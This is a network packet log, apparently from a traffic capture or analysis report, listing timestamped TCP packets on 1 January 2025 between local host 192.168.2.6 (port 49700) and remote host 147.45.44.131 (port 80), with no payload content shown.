Jan 1, 2025 08:53:00.973678112 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.973678112 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.973704100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.974267960 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.974314928 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.974333048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.974344015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.974384069 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:00.974419117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.974431038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.974441051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:00.974471092 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.023499966 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.056186914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056199074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056210041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056225061 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056269884 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.056303978 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.056330919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056341887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056353092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056363106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056377888 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.056405067 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.056431055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056514978 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056524992 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056565046 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.056627035 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056679010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056684017 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.056690931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056731939 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.056780100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056792021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056802034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.056834936 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.057563066 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.057604074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.057610035 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.057651997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.057662010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.057699919 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.057734966 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.057776928 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.057781935 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.057858944 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.057873011 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.057882071 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.057904005 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.057919025 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.057972908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058113098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058159113 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.058159113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058171034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058208942 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.058363914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058374882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058383942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058396101 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058413982 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.058432102 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058433056 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.058698893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058710098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058720112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058746099 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.058763981 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.058784008 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058794975 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058804989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058815956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.058835983 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.058862925 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.058912039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059140921 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059181929 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.059197903 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059207916 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059240103 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.059324980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059334040 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059367895 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.059479952 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059490919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059499979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059510946 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059520006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059531927 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.059549093 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.059633970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059644938 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059654951 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.059701920 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.059701920 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.060174942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060185909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060195923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060221910 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.060312033 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060322046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060331106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060342073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060354948 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.060379982 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.060544968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060555935 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060564995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060574055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060587883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060595989 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.060600042 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.060616016 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.060642958 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.061081886 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061130047 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.061132908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061145067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061182022 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.061258078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061269045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061279058 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061290026 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061309099 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.061321020 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.061412096 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061422110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061431885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061440945 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.061461926 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.061475039 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.141298056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.141318083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.141334057 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.141463041 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.141505003 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.141515970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.141527891 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.141537905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.141558886 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.141590118 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.141592026 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.141602039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.141630888 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.142801046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.142844915 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.142848969 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.142858028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.142896891 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.142971039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.142982960 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.142993927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143006086 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143013000 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143038988 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143105030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143162012 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143177032 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143187046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143208981 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143232107 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143265963 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143276930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143287897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143301010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143311024 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143337011 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143510103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143521070 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143532038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143543005 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143558025 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143573046 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143646002 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143657923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143668890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143676996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143695116 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143712044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143789053 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143806934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143816948 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143838882 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143918991 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143954992 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.143973112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.143985033 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144020081 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.144143105 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144154072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144165993 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144176006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144186020 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144188881 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.144207001 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.144328117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144366026 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.144370079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144382000 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144417048 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.144512892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144524097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144535065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144546032 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144561052 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.144578934 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.144692898 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144705057 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144735098 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.144766092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144777060 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.144823074 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.144839048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146308899 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146326065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146336079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146353960 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.146374941 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.146501064 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146511078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146521091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146531105 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146544933 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.146562099 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.146584988 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146595955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146605968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146615028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146625042 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146627903 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.146644115 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.146785021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146794081 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146804094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146812916 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146831036 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.146857023 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.146909952 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146928072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146939039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.146981001 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.146998882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147006035 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147015095 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147026062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147036076 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147053003 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147075891 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147134066 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147144079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147155046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147166014 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147178888 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147196054 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147346020 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147356033 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147365093 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147372961 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147403955 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147479057 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147535086 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147546053 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147567034 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147595882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147605896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147615910 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147625923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147629976 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147660017 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147824049 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147835970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147845984 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147855997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147862911 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147866011 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147877932 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147888899 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147893906 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147900105 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147910118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.147918940 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147934914 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.147950888 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.148092031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148329020 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148339033 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148349047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148356915 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148366928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148375988 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148386955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148396969 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.148420095 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.148482084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148493052 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148539066 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.148570061 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148581982 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148596048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148607016 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148617029 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148622990 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.148627996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148639917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148655891 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.148669958 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.148840904 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148853064 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148861885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148873091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.148885012 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.148905993 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.164371014 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.228785992 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.228797913 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.228813887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.228825092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.228835106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.228843927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.228856087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.228955984 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.228955984 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.229002953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.229053974 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.229615927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.229666948 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.229677916 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.229712963 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.229808092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.229820013 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.229830027 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.229840994 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.229860067 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.229882956 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.229939938 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.229950905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:01.229993105 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:01.229996920 CET	80	49700	147.45.44.131	192.168.2.6
